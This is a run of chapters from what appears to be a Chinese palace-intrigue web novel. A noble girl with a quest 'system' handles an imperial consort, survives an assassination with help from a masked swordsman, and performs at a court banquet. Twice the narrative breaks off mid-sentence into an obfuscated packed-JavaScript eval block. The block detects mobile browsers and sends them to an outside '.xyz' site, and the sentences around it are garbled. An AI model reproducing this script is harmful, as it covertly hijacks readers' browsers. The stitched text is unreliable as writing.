本朝女子可上学堂、学射骑、掌商铺,已比前朝好上太多。可惜当今皇帝不看重这些,反而认为“女子无才便是德”,连带着贵女们也甚少谈论朝中事。 外朝尚且如此,更何况后宫?端贵妃乃皇帝对女子要求的典范,她懂音律擅舞蹈,温柔体贴却从不议论政事,连宋家都是皇帝主动提拔才起势的,端贵妃从未在皇帝面前美言过自己的父兄。 是以端贵妃十分厌恶谈论朝政的贵女,还曾讽刺过姚宫正乃“牝鸡司晨,惟家之索”,带头抵制女官体制,但被皇帝安抚下来了。经此一事,再无贵女敢在端贵妃面前谈论半分政事。 果不其然,端贵妃大怒,向来柔和的嗓音淬了冰渣子似的,“你知道你在说什么吗?” 徐昭意垂头,跪地不语。 “出嫁从夫,宋府与本宫有何关系?莫说有无关系,便是账册被盗又如何?” 端贵妃满眼失望,沉声道:“本宫看着你长大,竟不知你连‘清者自清’这四字都不会写!” 【少年穷系列任务四:获得端贵妃的绝对信任。进度条:35%】 徐昭意眼珠微动,身后忽而传来一阵皂靴声。 “爱妃在说什么呢?怎这么生气?”皇帝背手走来,话语带笑,看起来威严又不失亲和。 他轻飘飘扫过跪在地上的两位贵女,略过她们,亲自弯腰给端贵妃递茶,耐心顺毛,“有什么事说开就好,小心气坏自个儿。” 皇帝的语气温和,可徐昭意却惊出一身冷汗。 她少时与二皇子一同在弘文馆学诗习文,曾因贪玩误入后宫一处草木茂盛的僻静之地。她那时没多想,只胡乱转悠准备离开,却不料在下一瞬听见一道低沉男声。 “爱妃在说什么呢?怎这么生气?” 这偌大后宫仅皇帝、太子和二皇子三个男性,太子长居凤栖宫不出,二皇子与她三不五时见面,明显不是这个声音。 这怕不是陛下。徐昭意正胡乱想着,那道声音蓦地笑起来,似是见着什么好玩的事情。 “有什么事说开就好,小心气坏自个儿。” “实在不行......她不过贱命一条,赔给爱妃就是了。” 须臾间,一股浓郁的血腥味窜进鼻端,顺着鼻腔道爬上头皮,又麻又冷。 徐昭意僵住,大脑一片空白。 许久后,一道低柔嗓音笑起,语调很是愉悦,“这宫女方才还想往陛下身上倒呢,陛下就这么把她杀了?陛下可真不会怜惜人。” “朕不需要怜惜别人,朕只要怜惜爱妃,不让爱妃生气即可。” 一男一女渐行渐远,声音逐渐消散。 徐昭意努力缩在粗大树干后,鼻尖的血腥气也渐渐淡去时,她鬼使神差想起曾经见过几面的皇后娘娘。 皇后娘娘的眉眼艳丽大气,眸中却带着泛着死意的平静。 像一桩端庄的陶瓷像。 “别怕......”一道气音飘过耳侧,滑进脑中。 徐昭意猛然回神,背后渗出一层薄汗,粘腻腻的,很是不适。 她用余光往上瞟,就见萧青恒抱胸站在她身侧,面上带着疏朗笑容,“父皇母妃感情好,也不能落了还跪在地上的两位妹妹吧?” 皇帝收回在端贵妃身上的目光,落在这个一向宠爱的儿子身上。他有一双与二皇子极为相似的眼睛,眯眼笑起来只让人觉得亲和。 “老二到底长大了,知道心疼人了。”他不轻不重地说了句,又笑起来,“可惜父皇不敢影响你母妃断事,帮不了你......” 端贵妃轻咳一声,抬手道:“都起来吧。” 徐昭意跪得膝盖疼,却还是端庄得体地起身,冲后来的皇帝二人见礼。 “都是些小事,劳不得陛下慰问。”端贵妃轻飘飘揭过一切,转头就开始赶人,“恒儿半时辰后还得去弘文馆上课,陛下莫再逗留了。” 徐昭意感受到一股不舍的视线在身上流连,移开又回来,反反复复好几遍才彻底化为一句。 “儿臣再见。” 待耳边靴声彻底消失不见,徐昭意这才不经意往门边看了眼。 连门口的小黄门都跑远了。 “昭姐儿,我知你为宋家着想的心意。”端贵妃叫人将门掩上,拉着徐昭意的手,神色欲言又止,“但清者自清,咱们不过女流之辈,何须参与他们男人间的事情呢?” 徐昭意张张唇,还未言语,一旁的文小娘子忽然应声:“娘娘说的对。” 她依旧是那副低眉顺眼的模样,“那些郎君的事情,咱们都不该插手的。” 端贵妃低睨了她一眼,面上温和笑着,“茵姐儿倒比昭姐儿学得快。只是......” 她往左右瞧了眼,拉过两人的手,嗓音徒然低下来,像极了长辈私语,“虽说天地间自有伦常,但若娘家真遇变故,我们亦不可全然置身事外......当然平日仍需谨守本分,少涉纷争。” 端贵妃又拍了拍徐昭意的手,眸光歉疚,“方才我并非有意说你,昭姐儿的心意,我怎么会不明白呢?" 她的眸中带着几分怜惜,声音低柔,似春风拂过耳畔:“只是方才那番话,终究是肺腑之言......” 她顿了顿,声音愈发低柔,字字恳切:“昭姐儿是个好孩子,可越是好孩子,越要谨言慎行。这深宫里,多少双眼睛盯着呢,稍有不慎,便落人口实......我是真心疼你,才多说了两句。” “昭意知晓娘娘好意。”徐昭意的唇角抿出一抹恰到好处的弧度——既不过分热切,也不显得勉强,像是天生就该这样温顺笑着。 端贵妃笑了笑,目光扫过同样恭谨的文小娘子,摆了摆手,“如今天色渐晚,我也不留你们了,你们便先回府吧。” “娘娘最疼咱们了。”徐昭意冲端贵妃俏皮一笑,随后挽着文小娘子,步履款款离开西华宫。 两道倩影渐渐融入昏黄的地平线内,消散不见。 端贵妃抿茶瞧了许久,这才出神似地问了句:“昭意那孩子,应当没旁的心思吧?” 端贵妃的奶嬷嬷庞氏贴心地帮她按着太阳穴,指尖温热,力道适中,带着笑意的调侃:“娘娘这怕是在宫中呆久了,看什么都疑神疑鬼了。二殿下与徐二娘子可是您看着长大的,二人都是个纯善性子,怎可能说谎骗您呢?” 说到这处,端贵妃沉默一瞬,悠悠叹息道:“是啊,这两人都是我看着长大的。若昭姐儿能嫁给恒儿,那真是知根知底的好事了。” “那您干甚么要抬高国公府那位庶出的?老奴斗胆说句不好听的,那女人长得妖里妖气的,连二娘子半根手指头都比不上,更别提配给二殿下了!” 端贵妃虚虚合上眼,手指若有似无地敲着桌面,语气有些飘忽:“若恒儿只是寻常宗室,昭姐儿与他自是合适的。可恒儿他身负天命,不该被个女人吃得死死的......” “他二人再深的感情,到底不合适。” * 黄昏时分,最后一缕斜阳穿过朱墙琉璃瓦,径自停留在宫门的两辆不起眼的马车上。 徐昭意在马车前顿住,看向文小娘子,到底难掩心中诧异,小声问出口:“你方才为何要帮我?” 文小娘子抿唇看她一眼,垂头道:“我只是说了我想说的。” 徐昭意的眉眼舒展开来,眸中转流光,“不管怎样,你方才都帮了我,我还是得谢谢你。” 说罢,她朝文小娘子明媚一笑,摆摆手转身走向马车。 “主要为了报答你给我提供的机会让我即将有一门好亲事......” 文小娘子的声音又快又低,徐昭意有些没听清,但她依旧转头冲文小娘子笑了句:“互利共赢的事儿,不用谢。” 言毕便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893599|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹬上马车,彻底离开宫门口。 徐昭意靠着车壁,唇边笑意未散,眸子将将要阖上,马车徒然凄厉嘶鸣。一支箭矢径自射入马车内,四处车柱裂成网状纹时,一股浓郁血腥味也随之窜入鼻腔。 还混着一股不明显的冷香。 她猛然睁开眼,一张诡异华丽的赤狐面具在她的眸底不断放大,最终盖过她的头顶,将她打横抱起来。 还伴着一句沙沙的,不明显的嘲讽:“傻子多见,傻成你这样的人,真不多见。” 小七虽这么说,手下动作却不耽误,捞起徐昭意便往外奔,甚至没给徐昭意反搂他脖颈的机会。 徐昭意靠着小七的胸膛,听着耳边咚咚的心跳声,手臂却阵阵的疼。 眼看着双臂被风刮着甩了又甩,面临脱臼风险。她吃力地抬起手,指尖刚碰到小七的脖颈,臂上忽而一凉,接着便是尖锐刺痛。 徐昭意低头看去,只见手臂被擦出一道细细的伤口,正嗞嗞往外冒血。 她瘪瘪嘴,忍住泪,继续反搂他的脖颈。 丝丝血液顺着伤口滴落,滑进小七的脖颈间。 那点凉意激得他怔神,差点被箭矢射中。他急速侧身躲过一支箭矢,翻身的同时垂头看去,就见徐昭意的手臂怼在他眼前,血珠快坠进他眼底。 小七面无表情地往后仰头,几步跃到一棵杨树旁,将徐昭意放在其中最粗的一根树枝上。 “别乱动。”他看她一眼,总算拔出腰间佩刀。 牛皮革鞘看着平平无奇,拔出来的刀却如秋泓般凛冽,锋锐逼人。 徐昭意靠着粗壮树干,小心给手臂哈气,眼睛却一直盯着小七。 这棵杨树够高,她总算看清整个暗杀场面。 这不是她从府邸到宫里的惯常路线,而是一个不知名的荒凉小巷子。看来这个死去的马夫是细作。 十几个蒙面黑衣人上下左右占据整个巷子,或拿弓弩,或拔利刀,都目光冰冷地盯着她。 再往下看,马匹早已倒在血泊中凉透,马匹周围也倒了几个蒙面黑衣人,看起来像是小七在护她走时随手杀的。 蒙面黑衣人们冷眼看着徐昭意所坐的这棵杨树,不过须臾便飞出几个黑衣人,径直往杨树处攻击。 小七已经完全拔出环首刀,他周遭的气势一变,面上的木讷再也不见,只余如手中刀般的冰冷与锋利。 他就守在杨树旁,环首刀横在身前,那柄锋刀仿佛变成收割人性命的利器,手起刀落,一刀一个脑袋,一刀拦下一支箭矢,甚至将箭矢拦下后重新打回去射人。 几颗脑袋顷刻落地,徐昭意不由往下看了眼,却发现那些失去脑袋的身体还在痉挛。她唰地收回目光,手指抓住树枝,紧了又紧,目光游离到小七面上,抿唇盯着。 赤红色的面具本就占据了小七大半张脸,如今手起刀落时泵出的鲜血继续溅红他全身,使他看上去像一个死人堆里扒出来的活死人,破破烂烂又满身鲜血。 小七察觉到她的目光,砍人时还有心情仰头看徐昭意一眼,甚至破天荒冲她笑了笑。 笑的同时,他还嫌弃地挥开一颗齐整切下的脑袋。 倒是两不耽误。 徐昭意闭了闭眼,脑海里那双嗜杀时的琥珀色眼珠不断睁大,直勾勾地盯着她,眸中色泽比平日更为耀眼,璀璨夺目。 她深吸一口气,随即被满腔腥气呛到,止不住地咳起来。 泪眼朦胧间,她模模糊糊瞧见一个血人儿从满地尸首往上跳,几步跃到她面前,弯腰向她伸出手。 她下意识拍掉那只手,触碰到那只手的指尖还在树枝上颇为嫌弃地擦了擦。 血人儿僵住,直勾勾瞪她一眼,随即往下一跳——那道血色身影瞬间消失得无影无踪。 徐昭意忍不住垂头往下张望,却绝望地发现这棵杨树有几十米,她一个人跳不下去。 27. 戎州奸细 “嗐——” 黑夜盖过黄昏,幽幽冷冷地落入徐昭意眼底。她不住地叹气,周身冷飕飕不说,树下还全是尸首。 一个时辰过去了,京兆尹也不派个人来收尸。得亏现下天气还算冷,不然尸体腐化的气味更难闻。 徐昭意经过这一个时辰的锻炼,已经可以面不改色扫过底下大片尸首,望天托腮发呆。 这次进宫不能带婢女,不然若是带上凝露,她也不至于落得如此下场。 她抱膝缩成一团取暖,昏沉间又觉得凝露应该找她快找疯了,想必很快就能排查到这里来。 这般想着,她隐约听见一阵破空声。 她激动抬首,就见一张赤狐面唰地怼到她眼前,面下的琥珀色眼珠转了转。 是小七,换了身干净衣裳的小七。 “你是来带我走的吗?”徐昭意主动拉过小七衣袖,准备服软,“你是个好......” 话音未落,就见小七唰地一下收回衣袖,还往上拍了拍,瞧起来颇为嫌弃。 徐昭意忍了又忍,两眼一垂,眼泪水滴滴滚落,“我知道你是为了保护我,这才染了满身鲜血,我不该嫌弃你。可是,可是我从未见过那么多血,和那么多的......人。” 说到后面简直是她的心声,她两辈子加起来都没今天一天见过的死人多,这两个时辰是真慌了神。 小七的眼珠子眨也不眨,直怔怔地盯着她,看起来又恢复了木讷。 徐昭意内心忍到极致,面上却笑得愈发温柔。她任由泪珠掉落,指尖搭在小七的袖子上面,也不碰,用一种柔似水的嗓音开口:“你可以带我走吗?” 小七没反应。 徐昭意顿了顿,耳边忽而传来一群人的脚步声。她的瞳孔下意识放大,手指捏住小七的衣袖,语气难得的有些焦急,“你赶紧带我走,若是那些人看到我跟你在一块......” 看着小七浑不在意的目光,徐昭意压下心底的烦躁,勾唇笑道:“你可还记得我要与你讲的高家隐秘?” 小七的目光动了动,但不明显。 “如果我没猜错的话,你是戎州高家的人,来京城是为了检测京城高家对太子的忠诚度。”徐昭意半真半假道。 她掌握的信息不多,大都是从系统那里得来的,且很多不宜现在说。是以她推测小七的动机,编造了一个半真半假的谎言,激小七救她。 小七果不其然动了动身子,盯了徐昭意一会儿,终是将她打横抱起来,几步跃出这个巷子。 徐昭意安生地窝在小七怀里,偏头聆听他胸膛的心跳声,唇角轻扬。 他们二人出巷子的时候,还与姗姗来迟的京兆府一群人擦肩而过。 但京兆府的人没察觉到他们。 小七顺顺利利地抱着徐昭意跑回国公府,还没走几步路,就被闻讯赶来的凝露拍了下手臂,力道特大特疼。他不由得揉了下手臂,再回过神后,怀里的徐昭意早已不见了。 另一边的徐昭意被凝露抱进院子后,唤的第一件事就是备热水沐浴。 她被小七抱了一路,身上沾染上了与小七和姐姐同样的冷香。 这令她很不舒服,很迫切想要改变。 徐昭意用澡豆擦全身,擦至伤口处时,她不由得嘶了一声。 早早侯在门口的凝露一急,作势要进来。 徐昭意大声制止了凝露,随后垂眼瞧着手臂上的伤口。那口子不深,现在都快结痂了,其实没甚么好看的。 但她莫名想到小七见血时的神情,无论是看见她的血还是那些黑衣人的血,小七无一例外地都很兴奋。 ......但看见她的血时,小七的表情还明显多了份克制与......敬畏? 那时生死一线,徐昭意也没彻底看清小七的表情。 但她将计就计这场刺杀的主要目的,本就不是看清小七的真面目,而是让小七信任她。 小七这人十分自负,经此一事让他认识到她真的无害后,哪怕有前面的事情垫在那里,他也顶多会认为她只是一个心思恶毒的无害之人,对他造不成威胁。 徐昭意垂眸,柔弱地笑了笑,用澡豆使劲儿擦拭伤口处,待伤口隐隐又复裂之势时,她这才开始擦拭其他地方。 待浑身裹满澡豆香气后,她这才慢悠悠出浴,带着满身水汽回房。 房内的凝露正满脸烦躁地转圈圈,眼见她出来了,步子一顿,急急忙忙迎上来,抱怨道:“娘子快披件外衫,小七那个憨货直愣愣杵在门口,任谁劝都不肯挪窝!” 徐昭意顺从地让凝露披上外衫,这才笑吟吟问道:“他还等在外面呢?外头更深露重,叫他进来说话吧。” 她相信以小七的武功和耳力,站在门口绝对能听见她们的房中话。 但小七和凝露都没动。 凝露更是不可置信地望着她,直嚷嚷:“娘子这可是您的闺房!您从前连老爷都不让进的,如今怎么能进来一个外男?” 徐昭意一怔,目光落在窗外隐隐绰绰的衣袍上,突然笑了声,“你怎知我这三年心性未改?这些闺阁规矩、体统脸面不过都是浮云,唯有真切关怀才是真。父亲也就在我三年前生病时,心焦脱口要进来。如今我生病却再无这般待遇,还是靠一向不合的阿姐才勉强捡回一条命。所以凝露呀,你说这些虚礼有什么用呢?” 凝露听着又心疼又气急又迷糊,想安慰娘子却不知从何处入手,只张着嘴巴半响没有言语。 徐昭意逗够了凝露,这才拢着外衫款款走向门口,“好了不叫他进来,我只与他去客轩议事,凝露看如何?” 凝露眨眨眼,在花尽忍俊不禁的眼神中,“哦”了声。 嬉笑间门已打开,露出小七归然不动的身影。 徐昭意笑道:“去客轩?” 小七看她一眼,点点头,转身就走。 凝露瞧他那样子,忍不住“呸”了声,忿忿道:“瞧他那样子,哪有把娘子当救命恩人?说是来讨债的也不为过!” 花尽笑了笑没应和,只若有所思地看了眼徐昭意的背影。 她们二人主要来守门,故而走到门口便停下了。 屋内的徐昭意让小七先坐下,随后拭了拭眼角不存在的泪珠,低声道:“你之前说我傻,可是知道些什么?” 小七点点头,却不语,只一味盯着桌上的宣纸。 徐昭意顺着视线看过去,了然点头,“我知你不爱说话,特意备了些纸在这里。你若是要用,我便唤花尽进来为你研墨。” 那是小七上次用水沾湿桌面后,她特意派人备在桌面上的纸。 若不是他一直盯着看,她都差点忘了。 小七的目光转而落在她的面上,好似依旧木讷,又好似多了点森然。 徐昭意再一眨眼,就见小七干脆点头。 她便唤花尽进来研墨,一来一回间又消耗不少时间,小七这才开始提笔书写。 不知过了多久,徐昭意感觉眼皮快打架时,小七总算放下毛笔。 她一提神,好奇地凑上去看,一时无语。 且不论小七写了什么,便是这个字迹便过于丑陋,仿佛垂髫之年的初习字,歪歪扭扭、横七竖八,字的框架间又莫名有几分笔锋,却是更加丑陋。 徐昭意闭了闭眼,再睁开时,却是眸中带笑,一行行仔细辨认着字迹。 “我不是让你在府中等我吗?你竟尾随我一路?”她又气又笑,又按耐不住接着看下去。 “你说你在暗处观察到了一些有意思的事情,你亲眼看见一个婢女将泥娃娃递给文大娘子后,又从角门回宫了,还在宫中瞧见了暗处的杀手头子......” 她越看越皱眉,忍不住道:“你的意思是一切皆是贵妃娘娘在幕后主使?文大娘子给我看的泥娃娃是娘娘给的,意在试探我对高宋联姻一事的涉入深浅?最后的刺杀也是贵妃娘娘下的命令,目的是铲除我这个潜在威胁?” 她捏着纸,生生气笑了,“什么叫潜在威胁?娘娘膝下无女,自小将我当亲生女儿养,有什么好东西都紧先想着我,你怎么能,怎么能......” 她到底没说下去,泪盈于眶却将落未落,瞧着可怜极了。 小七定定注视她一会儿,微微垂眸,又在纸上缓慢写下几个字。 徐昭意定睛一看,那几个字却是“许是我猜错了”。 她拭去眼尾泪珠,笑了笑,轻声道:“你也不用安慰我,我知道好歹的。但这种刺杀,单凭你一人目击是无用的,你先前那番话......” 转而道:“你不是要探听高家隐秘吗?” “我知你告诉我这些,都是有条件的。”她轻声细语,表情渐渐严肃,“我那日比你在密道多待了一段时间,听到有人说......” “他们发现太子的人在盗窃宋相府的账册了。” “我不知道他们是谁,”她抿唇,“但想必与京城高家脱不开关系。我也知你一直跟着我,知晓我与月梨熟悉,我可以再告诉你一个消息。” 她小心翼翼打量了眼小七,像是下定了决心,闭眼道:“月梨是贵妃娘娘的人。” 因着闭目的缘由,她便也没瞧见小七无波无澜的神情。 再睁眼时,她正正好看见小七的表情——带着浅笑,比往日和熙许多。 她整个人放松下来,也笑道:“你这回终于相信我了?” 小七点点头。 徐昭意喜得不知作何表情,不由得偏头看向窗外,外头星子寥落、乌云浓厚,显然是深夜了。 她莫名想起与父亲的对话,神色淡了淡,还是冲小七笑道:“夜已深了,我也不方便送你,你便先自行回去吧。” 小七看她一眼,神色间似是了然,又似是她的错觉,但到底点点头,利索地转身离去,还特意走了小径,没遇上任何随从婢女。 眼看着小七的背影彻底消失不见,徐昭意缓缓走出客轩,往寝居而去。 路上凝露没忍住好奇心,兴奋问道:“娘子可办成事了?” 她与娘子从小一块儿长大,最是知晓娘子的心思。娘子一笑起来保准有人将要倒霉,但娘子若不笑了,那应当是有人已经倒霉了。 徐昭意漆黑的瞳孔闪过一道流光,神色有些玩味,“还没办成,但应该快了。” 另一侧的小七回到自己的暂居之所,犹豫许久,还是拿起册子,先翻到前页,写下一句: 徐二说宋府有人知晓计划,但我认为可信度不高。 他又翻回记录徐昭意异状的那一页,思索一会儿,在“她惯常口蜜腹剑,需要提防”这句话旁边写下一连串歪歪扭扭的小字: 许是她的年少经历过于孤单凄苦,习惯于口蜜腹剑,但并不是真心与我方作对。私以为她体弱多病,且头脑似乎并未有想象中的那般聪明,应当干涉不了大计,可适当放松对她的警惕。 他在“适当放松”这四个字上圈了一个圈,眉头皱了又皱,最后又划掉“适当放松”这几个字,改为“观察一段时间再下结论”。 * 深夜里,西华宫内灯火如豆,幽幽燃着。 “陛下今夜又翻了林才人的牌子?”端贵妃横卧在美人塌上,眉眼半合,任由庞嬷嬷帮她梳头。 当今并不沉迷女色,一月有半数宿在西华宫,余下时间一半独自宿在太极宫,一半召不同妃嫔侍寝,但很少有妃嫔一月侍寝的次数超过三次。 林贵人今日正是第三次,而这个月才过去一半。 “娘娘莫担心,老奴已经打听过了。那林才人眉眼与娘娘年轻时像极,陛下想是因着这个,才给了那林氏几分薄面,那林氏定是永远越不过娘娘的。”庞嬷嬷柔声宽慰。 端贵妃笑了笑,转而问道:“听闻昭姐儿归府路上遇刺,是一个蒙面少年救了她?” “二娘子得娘娘荫庇,向来有福气,与二殿下更是天造地设的一对。”庞嬷嬷知她忧心,有心宽慰她,便开玩笑,“娘娘不日便要举办赏花宴,不若就此将两位主子的婚事定下?届时成了一家人,也省得娘娘深夜忧心。” 端贵妃若有所思地点点头,眼见头发梳理得差不多,便叫庞嬷嬷先去就寝。 待寝宫内再无随侍之人,她面色带了些疲惫,淡淡唤了句。 “秋童,把今日救走昭姐儿那人的身份背景调查清楚。” * 翌日清晨,贵妃举办赏花宴的消息传遍京城,各府邸暗潮涌动。 徐国公府里,徐昭意正穿好霓裳阁送来的新衣服,对着铜镜端详面容。 为迎合贵妃审美,她得保持一如既往的素净。但为了在赏花宴突出自己,她还需要用素净颜色艳压群芳。 这听起来很难,但对她来说却不难。 她看了眼侍立一旁的叶荷,选了几种颜色,便闭目任由叶荷涂抹。 待一切准备就绪,她提着长裙,拐到小七房门口,柔声道:“小七,我先进宫了?” 本朝只允许贵女们携一婢女进宫,侍卫之类的连大门也进不去。 但她相信小七有自己的办法。 房门内传来一阵咚咚声,似是应和。 徐昭意抿唇笑了笑,转身蹬上马车,悠悠驶向宫门。 另一侧,小七靠在门边,鼻尖萦绕着那股淡雅却不散的浅香。 他动了动鼻尖,薄唇微抿,待耳边再无声音,这才推门而出。 * 晨光初照,宫门次第而开。命妇们乘朱轮华盖车入宫,按品阶列队,由女官引至御苑。 贵妃尚未到来,各家贵人便聚一处赏花。 汉白玉栏外,牡丹灼灼盛放,贵女们云鬓罗袖,谈笑风生。突然间,她们中有人看向一边,发出小小叹息。 只见一位典雅少女飘然而来,她身着秋香绫罗衫,束青碧长裙,外罩松灰大袖衫,抬手间臂间披帛飘扬,如薄雾绕林。 再往上,便是一张含笑美人面,正冲着她们行礼。 “装模做样。”宋二娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907571|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷哼一声。 她看着卢平丹跑到徐昭意旁边,两人玩做一团,又瞥眼身旁的宋大娘子,别扭道:“你不是与她二人交好吗?最近是怎么回事?怎么不找她二人玩了?可别说是顾忌我,我不需要你陪。” 宋大娘子浅笑道:“近日不便打扰徐妹妹,况且你我二人姐妹一体,我答应叔母要好好照顾你,万不能丢下你去找别人。” “装模做样。”宋二娘子又冷笑一声,但到底没再说什么。 宋大娘子摇摇头,转而看向另一侧。那边的贵妃凤轿已然走进,各贵女翘首以盼,又不得不低头以示恭敬。 香风拂来,待各妃嫔与公主就坐后,各位贵女才悄然抬头,却也不敢直视贵妃,只用余光悄然看着。 怨不得她们紧张,虽说二皇子正妃人选无外乎在宋大娘子与徐二娘子两人中间选,可他的后院不还有孺人、滕妾之类的位置吗? 这些可不是一般妾室,若二皇子以后登基,那孺人、滕妾便可摇身一变成宫中娘娘,一举飞上枝头。 端贵妃含笑环视众贵女,温声道:“好孩子们且放宽心。咱们天家最是惜花之人,今儿不论哪位姑娘的才艺,在本宫眼里都是这御花园里独一无二的好颜色。” 忽而掩唇轻笑:“纵使真有人紧张得弹错个把音......那才显得鲜活可爱,诸位说是不是?” 宋大夫人率先应和:“朝野上下谁人不知贵妃娘娘的慈心?要我说,大家伙儿当放轻松,就当平日演艺,这样咱看的人开心,演的人也开心。” 她这般说着,视线一转,又道:“娘娘平日最疼昭姐儿和倩姐儿,要不这开场就由昭姐儿和倩姐儿来吧?倩姐儿......” “可巧陛下最近赐了本宫一把曲项琵琶,昭姐儿可有福了。”端贵妃笑意盈盈,“这开场白便由昭姐儿来演吧?倩姐儿其次,其余小娘子多准备准备,刚好放松下。” 宋大夫人看过一旁静坐的女儿,垂首笑道:“娘娘安排周到。” 可不周到呢?贵妃娘娘的心从来都是偏的。本朝乐器以琵琶为贵,古琴虽说清贵雅致,却不及琵琶富贵热闹。可贵妃娘娘分明有崔乐师的人脉,却不想着自家人,反而给了毫不相干的外人。 这还是暗地里的偏爱,明面上的偏爱更是数不胜数。每次宴席,贵妃娘娘必是先叫徐家那位,再会叫自家女儿。就如这次宴席,大家伙儿都知道开场演奏的那人,几乎就是未来板上钉钉的二皇子妃,可贵妃娘娘没半分犹豫,径自将开场给了徐家那位。 宋大夫人从不觉得自家女儿比徐家那位差,可这日日年年的偏爱对比下,也不免生了几分怨怼——不是对贵妃娘娘,而是对徐家。 徐昭意也看过对面垂眼静坐的宋大娘子,却只扫了一眼,便收回目光,款款上前福礼,“臣女昭意多谢娘娘赏赐。” 端贵妃点头,“好孩子无须多礼,快开始吧。” 徐昭意这才接过宫女递来的曲项琵琶,打量了几眼,随即开始弹奏。 原本在演奏之前,还有人对她这个崔乐师之徒心存质疑,可当琴音响起的那一刻,所有不怀好意皆化作掩不住的嫉妒与羡慕。 大弦嘈嘈如急雨,小弦切切如私语。 嘈嘈切切错杂弹,大珠小珠落玉盘。 绝妙。 一曲毕,全场静默,唯留牡丹摇晃。 “昭姐儿不愧是崔乐师之徒。”端贵妃轻摇团扇,率先赞赏。 徐昭意含笑听闻周遭奉承,面上一派温顺,只柔声请辞:“臣女身子不适,想去偏殿歇息片刻,望娘娘准允。” 她身子弱是众所周知的,大家伙儿听闻不觉有异,连端贵妃也只随意摆手,“你方才弹奏一首,想必也累了,快去歇着吧。” 徐昭意浅笑着离去,随着宫女走进偏殿,借口头晕小息,让殿内宫女在门外守着,只留下凝露一人。 闭目歇息时,宫女谈话声隐隐传进来。 “你听说了吗?戎州那边出了细作,陛下大怒,正准备细查呢!” “诶?那太子殿下和戎州高家......” “所以娘娘才去拉拢京城这个高家呀!”声音愈发得小,“具说戎州高家早早听闻此事,已派遣细作混入京城,以待时机制造混乱呢......” 徐昭意面色无异,待殿门口的细语渐渐走远后,她这才看向凝露,“你去门外看一圈,若是发现一个瞳色有异且不爱说话的宫女,便借口我身体不适需要人服侍,把她带进来。” 凝露没多问,直接转身离去。 徐昭意看着阖上的殿门,脑中浮现方才弹奏时的画面。那把琵琶确实是名贵之物,上面还雕刻了一只振翅欲飞的凤凰。 端贵妃说这是皇帝的赏赐之物,可贵妃不喜凤凰,皇帝也从不给贵妃与凤凰有关之物,这把琵琶要不被掉包了,要不被人临时画了只凤凰上去。 在她认识的人里,敢这么做,并有能力这么做的人,只有小七......况且那凤凰纹属实眼熟,与高家密道地砖上的纹路一模一样。 她虽说答应小七,要趁着赏花宫宴试探贵妃一派的真实动机,可她私心里是不想做这事的。 于她而言,搅进这趟浑水的人越多,对她越有利。 是以她不想早早联系小七。 可他一而再再而三地留下标记与警告,这让她不得不联系他。 正烦闷着,殿门被推开,露出凝露和另一个垂首的面容普通的宫女。 徐昭意的视线在宫女浅淡近失明的琥珀色瞳孔处顿了顿,露出一个笑来,“你来了?” 她知晓欧洲中世纪有株曼拉草可以改变人的瞳孔颜色,却也会使人失明。 小七当是服用了这种草。 也对,浓郁至暗金的琥珀色瞳孔大都是胡人特征。小七若要伪装宫女,必不能在这方面出错。 拥有浅淡琥珀色的中原人相对多些,再加上他现在属于失明状态,注意他的人便会少些。 正这般想着,徐昭意刚想问小七有关凤凰纹一事,余光忽而瞟到殿内一直袅袅生烟的香炉。 香炉的造型很奇特,两个巨大无比的兽首,张开血盆大口相互对视,两舌交织的地方还钉上了圆环。 是高家密道的那扇铜门的纹路,但徐昭意很肯定的是,她在小息之前没有见过这个。 而且琵琶上的凤凰纹也很像高家密道地砖上的纹路...... 【少年穷系列任务二:探寻高家隐秘,进度条:60%】 高家隐秘的任务进度条动了? 看来高家与端贵妃的关系匪浅。 如此一来......若凤凰纹不是小七画上去的,那是谁画上去的? 她乍然望向那面容普通的宫女,对方也直勾勾盯着她,两人迅速交流眼神,还没等他们想出对策,一堆闹哄哄的脚步声徒然袭来,还伴着呐喊。 “戎州奸细混进宫了!快抓住他!” “宋校尉先带弟兄们围住宫殿!防止奸细逃跑!” 28. 真真假假 大理寺的监狱里,墙厚而冷,森寒气流顺着外露肌肤上爬,激得人心底发凉。 浓郁的血腥味扩散开来,驻守的狱卒斜瞥了眼,又乐颠颠地与身边同伴分享:“你可知这人好大的胆?” 话音一低,神神秘秘道:“这人被抓住时,差点女装混进未来二皇妃休息的寝殿,图谋不轨!” “啧啧啧,但这未来皇帝的女人......我也想知是何滋味。” “哈!你也色迷心窍了?但话说回来,那徐二娘子真是个天仙似的美人儿!” “怎么的?你还见过这等贵人?” 那狱卒摇摇头,话音更低,语气飘忽:“你可知这件事的后续?虽说这戎州细作没得手,可那徐二娘子到底清白有损。可二殿下二话不说,一力担保下徐二娘子的清白,并让贵妃娘娘当场下了赐婚懿旨!” “也是,这要不美,怎么能将二殿下迷成这般模样?”这同伴说完还咂咂嘴,似在回味。 这二人正笑时,他们身后传来清晰的铁链沙沙声。 沉重、闷哑、直击人心。 他们同时回头看去,就见那满身伤痕的少年郎靠着草堆坐起,一双狐狸眼直勾勾盯着他们,琥珀色瞳孔清透如洗,仿佛没遭过那般非人折磨,又或者说,这人干脆是个傻子。 这二人对视一眼,最先开口的狱卒谨慎靠近,离铁栏杆还有几步远,便忍不住开口问道:“小兄弟醒得挺快?” 